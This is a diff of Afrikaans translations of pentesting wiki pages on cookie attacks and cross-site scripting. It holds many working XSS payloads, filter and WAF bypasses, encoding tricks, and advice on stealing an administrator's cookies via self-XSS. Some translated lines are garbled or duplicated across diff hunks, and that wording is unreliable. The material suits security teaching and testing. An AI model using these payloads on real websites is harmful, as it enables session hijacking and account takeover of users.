- Net soos om die waarde te stel, kan die aanvaller ook 'n nie-geoutentiseerde koekie wat deur die bediener gegenereer is, verkry, die CSRF token daaruit verkry en dit gebruik.
### Koekie Bestelling
Wanneer 'n blaaier twee koekies met dieselfde naam ontvang wat **gedeeltelik die same scope** (domein, subdomeine en pad) beïnvloed, sal die **blaaier albei waardes van die koekie stuur** wanneer albei geldig is vir die versoek.
Wanneer 'n blaaier twee koekies met dieselfde naam **gedeeltelik die samelewing beïnvloed** (domein, subdomeine en pad), sal die **blaaier beide waardes van die koekie stuur** wanneer albei geldig is vir die versoek.
Afhangende van wie **die mees spesifieke pad het** of watter een die **oudste een is**, sal die blaaier **eers die waarde van die koekie stel** en dan die waarde van die ander een soos in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Meeste **webwerwe sal net die eerste waarde gebruik**. Dan, as 'n aanvaller 'n koekie wil stel, is dit beter om dit te stel voordat 'n ander een gestel word of dit met 'n meer spesifieke pad te stel.
> [!WARNING]
> Boonop is die vermoë om **'n koekie in 'n meer spesifieke pad te stel** baie interessant aangesien jy die **slagoffer kan laat werk met sy koekie behalwe in die spesifieke pad waar die kwaadwillige koekie gestel sal word voordat**.
> Boonop is die vermoë om **'n koekie in 'n meer spesifieke pad te stel** baie interessant aangesien jy die **slagoffer kan laat werk met sy koekie behalwe in die spesifieke pad waar die kwaadwillige koekie gestel sal word**.
### Beskerming Omseiling
### Beskerming Bypass
Mogelijke beskerming teen hierdie aanval sou wees dat die **webbediener nie versoeke met twee koekies met dieselfde naam maar twee verskillende waardes sal aanvaar nie**.
@ -40,7 +41,7 @@ Om die scenario te omseil waar die aanvaller 'n koekie stel nadat die slagoffer
cookie-jar-overflow.md
{{#endref}}
Nog 'n nuttige **omseiling** kan wees om die **naam van die koekie URL te kodeer** aangesien sommige beskermings vir 2 koekies met dieselfde naam in 'n versoek kyk en dan die bediener die name van die koekies sal dekodeer.
Nog 'n nuttige **bypass** kan wees om die **naam van die koekie URL te kodeer** aangesien sommige beskermings vir 2 koekies met dieselfde naam in 'n versoek kyk en dan die bediener die name van die koekies sal dekodeer.
### Koekie Bom
@ -54,8 +55,8 @@ cookie-bomb.md
#### **Gebruik die voorvoegsel `__Host` in die koekie naam**
- As 'n koekie naam hierdie voorvoegsel het, **sal dit net aanvaar word** in 'n Set-Cookie riglyn as dit gemerk is as Veilig, van 'n veilige oorsprong gestuur is, nie 'n Domein attribuut insluit nie, en die Pad attribuut op / gestel is.
- **Dit voorkom dat subdomeine 'n koekie aan die apex domein kan afdwing aangesien hierdie koekies as "domein-geslote" beskou kan word.**
- As 'n koekie naam hierdie voorvoegsel het, **sal dit slegs aanvaar word** in 'n Set-Cookie riglyn as dit gemerk is as Veilig, van 'n veilige oorsprong gestuur is, nie 'n Domein attribuut insluit nie, en die Pad attribuut op / gestel is.
- **Dit voorkom dat subdomeine 'n koekie na die apex domein dwing aangesien hierdie koekies as "domein-gesluit" beskou kan word.**
### Verwysings

View File

@ -2,8 +2,8 @@
## Metodologie
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
2. **Vind die konteks** waar dit reflekteer/gebruikt word.
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
2. **Vind die konteks** waar dit reflekteer/gebruik word.
3. As dit **reflekteer**
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
1. In **rauwe HTML**:
@ -11,19 +11,19 @@
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
3. Kan jy beskermings omseil?
4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Markup - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML sonder skrip inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
2. Binne 'n **HTML-tag**:
1. Kan jy na die rauwe HTML-konteks ontsnap?
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
2. Kan jy nuwe gebeurtenisse/eigenskappe skep om JS-kode uit te voer?
3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
4. Kan jy beskermings omseil?
3. Binne **JavaScript-kode**:
3. Binne **JavaScript kode**:
1. Kan jy die `<script>` tag ontsnap?
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
3. Is jou invoer in sjabloon literale \`\`?
4. Kan jy beskermings omseil?
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
4. As **gebruik**:
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
@ -37,7 +37,7 @@ debugging-client-side-js.md
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
- **Intermediair reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
@ -52,11 +52,11 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
### Binne HTML-tags eienskap
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
@ -98,7 +98,7 @@ Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer
![](<../../images/image (711).png>)
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstreepte te laat toe (**`[\w\._]`**).
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
@ -114,7 +114,7 @@ parentElement
```
Jy kan ook probeer om **Javascript funksies** direk te **trigger**: `obj.sales.delOrders`.
E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in die dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
Daarom, om hierdie **kwesbaarheid in 'n ander DOM** te **misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:
@ -132,7 +132,7 @@ dom-xss.md
### **Universele XSS**
Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Sommige **voorbeelde**:
{{#ref}}
@ -150,10 +150,10 @@ server-side-xss-dynamic-pdf.md
## Invoeging binne ruwe HTML
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\*_
Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\**_
In hierdie geval en as geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
```html
<script>
alert(1)
@ -161,22 +161,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Maar, as tags/kenmerke swart/blanklys gebruik word, sal jy **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
### Tags/Gebeurtenisse brute-force
### Tags/Events brute-force
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
### Pasgemaakte tags
### Aangepaste tags
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` kenmerk uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Swartlys Bypasses
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -235,22 +235,22 @@ onerror=alert`1`
```
Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
Om te kyk in watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).
### Klik XSS - Klikjacking
### Klik XSS - Clickjacking
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Klikjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
### Onmoontlik - Hangende Markup
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy kyk na [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
## Invoeging binne HTML-tag
### Binne die tag/ontsnapping van attribuutwaarde
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribiete binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,12 +267,12 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribiete binne die tag
```
### Binnen die attribuut
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy net 'n deel van die waarde beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer willekeurige kode wanneer dit geklik word.\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
Die **HTML-gekodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Die **HTML-gecodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Let daarop dat **enige soort HTML-kodering geldig is**:
```javascript
@ -295,7 +295,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Omseil binne gebeurtenis met Unicode-kodering**
**Omhels binne gebeurtenis met Unicode-kodering**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```
### Spesiale Protokolle Binnen die attribuut
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS-kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Plekke waar jy hierdie protokolle kan inspuit**
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,17 +351,17 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal **geïntrepreteer** word as 'n **enkele aanhaling** tydens die **uitvoering**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
**Gebruik Hex en Octal kodering met `javascript:`**
**Gebruik Hex en Octal kodeer met `javascript:`**
Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om versteekte invoer te misbruik met:**
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n versteekte attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutelattribuut te gebruik. Hier is die vektor:
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -472,11 +472,11 @@ In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of
### Ontsnapping van \<script> etiket
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` tag sluit om te **ontsnap:**
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
### Binne JS-kode
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](#javascript-comments) **trik)**
**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -746,14 +746,14 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
dom-xss.md
{{#endref}}
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle veroorsaak word, en hoe om hulle te benut**.\
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
### Opgradering van Self-XSS
### Koekie XSS
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
As jy 'n XSS kan aktiveer deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te aktiveer. Hiervoor kan jy die koekie tossing aanval gebruik:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,13 +763,13 @@ Jy kan 'n groot misbruik van hierdie tegniek vind in [**hierdie blogpos**](https
### Stuur jou sessie na die admin
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen.
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid aktiveer.
### Sessiemirrow
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
Jy kan die **administrateur jou self XSS laat aktiveer** en sy koekies/sessie steel.
## Ander Bypasses
@ -783,7 +783,7 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
```
### Ruby-On-Rails omseiling
As gevolg van **RoR massa toewysing** word aanhalings in die HTML ingevoeg en dan word die aanhaling beperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
Formulier voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -824,9 +824,9 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS met header-inspuiting in 'n 302 antwoord
### XSS met header-inspuiting in 'n 302 respons
As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
@ -863,16 +863,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Script Tipes vir XSS
### Skriptipe vir XSS
